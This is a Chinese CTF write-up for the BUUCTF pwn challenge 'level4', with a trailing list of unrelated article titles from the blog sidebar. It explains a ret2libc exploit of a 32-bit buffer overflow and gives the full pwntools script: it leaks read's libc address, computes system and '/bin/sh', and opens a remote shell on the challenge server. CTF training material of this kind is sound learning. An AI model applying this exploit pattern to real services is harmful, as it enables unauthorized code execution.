[BUUCTF]PWN——level4
2024-09-01 19:01:14
level4
步骤:
- 例行检查,32位程序,开启了NX保护
- 运行一下程序,看看大概的情况
- 32位ida载入,首先检索程序里的字符串,根据上一步运行看到的字符串进行跳转
- 输入点在function里
参数buf存在溢出漏洞,字符串里没有找到现成的后门可以利用,所以使用ret2libc的方法来获取shell
利用过程:
- 泄露libc版本
只能通过程序里已经调用过的函数才行,这里利用的read函数
read_got=elf.got['read']
write_plt=elf.plt['write']
main_addr=elf.symbols['main']
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)
read_addr=u32(r.recv(4))
#read_addr = u32(r.recvuntil("\xf7")[-4:])
- 计算libc基址,然后找到程序里system和bin/sh的地址
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
- 构造rop攻击,获取shell
payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)
完整exp:
from pwn import *
from LibcSearcher import *
r=remote("node3.buuoj.cn",25393)
context(os = "linux", arch = "i386", log_level= "debug")
elf=ELF('./level4')
read_got=elf.got['read']
write_plt=elf.plt['write']
main_addr=elf.symbols['main']
payload='a'*(0x88+4)+p32(write_plt)+p32(main_addr)+p32(1)+p32(read_got)+p32(4)
r.sendline(payload)
read_addr=u32(r.recv(4))
#read_addr = u32(r.recvuntil("\xf7")[-4:])
libc = LibcSearcher("read", read_addr)
libc_base = read_addr - libc.dump("read")
system_addr = libc_base + libc.dump("system")
binsh_addr = libc_base + libc.dump("str_bin_sh")
payload = "a" * 0x8c + p32(system_addr)
payload += p32(main_addr)
payload += p32(binsh_addr)
r.sendline(payload)
r.interactive()
最新文章
- Hadoop学习之旅二:HDFS
- windows系统路径环境变量
- 使用ASP.NET Web API Help Pages 创建在线接口文档
- sql2012还原sql2008备份文件语句
- asp.net web api 测试帮助页面建立并测试
- spoj 839 Optimal Marks(二进制位,最小割)
- aix7安装was7、打补丁、更改访问端口、手动启动was、配置was7、部署项目
- cookie 的Domain删除失败的问题
- 树状dp ural1018
- maven项目部署到Repository(Nexus)
- BZOJ:4816: [Sdoi2017]数字表格
- fasthttp 文档手册
- SQL Server 2016 Failover Cluster + ALwaysOn
- [转] Shell编程之数组使用
- grafana 指标视图嵌入到其他html网页
- LayDate 时间选择插件的使用介绍 (低版本1.0好像是)
- 泛泰A870(高通600 cpu 720p) 刷4.4专用中文recovery TWRP2.7.1.1版(三版通刷)
- 【BZOJ1093】【ZJOI2007】最大半联通子图 [DP][Tarjan]
- 使用";*";通配符来选择文件
- 《Cracking the Coding Interview》——第12章:测试——题目2
热门文章
- [loj3256]火灾
- 多线程合集(二)---异步的那些事,async和await原理抛析
- 使用微软RPA工具 Power Automate自动完成重复性工作
- Codeforces 848E - Days of Floral Colours(分治 FFT)
- Codeforces 285E - Positions in Permutations(二项式反演+dp)
- C++ and OO Num. Comp. Sci. Eng. - Part 4.
- 2021-2-3-利用anaconda+prefetch+aspera从NCBI的SRA数据库中下载原始测序数据
- WSL + MobaXterm 取代虚拟机
- linux系统中安装JDK
- javaSE高级篇4 — 反射机制( 含类加载器 ) — 更新完毕